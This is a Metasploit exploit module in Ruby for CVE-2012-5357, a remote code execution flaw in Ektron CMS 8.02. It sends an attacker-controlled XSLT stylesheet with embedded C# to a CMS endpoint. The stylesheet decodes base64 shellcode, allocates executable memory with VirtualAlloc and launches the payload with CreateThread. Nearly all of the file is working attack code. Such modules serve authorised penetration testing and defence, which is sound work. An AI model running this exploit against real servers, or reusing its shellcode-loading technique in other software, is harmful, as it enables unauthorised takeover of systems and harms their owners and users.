##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ektron 8.02 XSLT Transform Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
          vulnerability exists due to the insecure usage of XslCompiledTransform, using a
          XSLT controlled by the user. The module has been tested successfully on Ektron CMS
          8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
          SERVICE privileges.
        },
        'Author' => [
          'Rich Lundeen', # Vulnerability discovery
          'juan vazquez', # Metasploit module
          'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-5357'],
          [ 'OSVDB', '88107' ],
          [ 'URL', 'http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr12-016' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Privileged' => true,
        'Targets' => [
          ['Windows 2003 SP2 / Ektron CMS400 8.02', {}],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-10-16',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
        OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/'])
      ]
    )
  end

  def check
    fingerprint = rand_text_alpha(5 + rand(5))
    xslt_data = <<~XSLT
      <?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[
      public string xml()
      {
      return "#{fingerprint}";
      }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    XSLT

    res = send_request_cgi(
      {
        'uri' => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "application/x-www-form-urlencoded; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'vars_post' => {
          "xml" => rand_text_alpha(5 + rand(5)),
          "xslt" => xslt_data
        }
      }
    )

    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      return Exploit::CheckCode::Vulnerable('Successfully executed XSLT code on target')
    end

    return Exploit::CheckCode::Safe('Target does not appear to be vulnerable')
  end

  def uri_path
    uri_path = target_uri.path
    uri_path << "/" if uri_path[-1, 1] != "/"
    uri_path
  end

  def build_referer
    if datastore['SSL']
      schema = "https://"
    else
      schema = "http://"
    end

    referer = schema
    referer << rhost
    referer << ":#{rport}"
    referer << uri_path
    referer
  end

  def exploit
    print_status("Generating the EXE Payload and the XSLT...")
    fingerprint = rand_text_alpha(5 + rand(5))

    xslt_data = <<~XSLT
      <?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[

      private static UInt32 MEM_COMMIT = 0x1000;
      private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

      [System.Runtime.InteropServices.DllImport("kernel32")]
      private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

      [System.Runtime.InteropServices.DllImport("kernel32")]
      private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

      public string xml()
      {
        string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
        byte[] shellcode = System.Convert.FromBase64String(shellcode64);
        UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
        IntPtr hThread = IntPtr.Zero;
        IntPtr pinfo = IntPtr.Zero;
        UInt32 threadId = 0;
        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
        return "#{fingerprint}";
      }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    XSLT

    print_status("Trying to run the xslt transformation...")
    res = send_request_cgi(
      {
        'uri' => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "application/x-www-form-urlencoded; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'vars_post' => {
          "xml" => rand_text_alpha(5 + rand(5)),
          "xslt" => xslt_data
        }
      }
    )
    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      print_good("Exploitation was successful")
    else
      fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
    end
  end
end
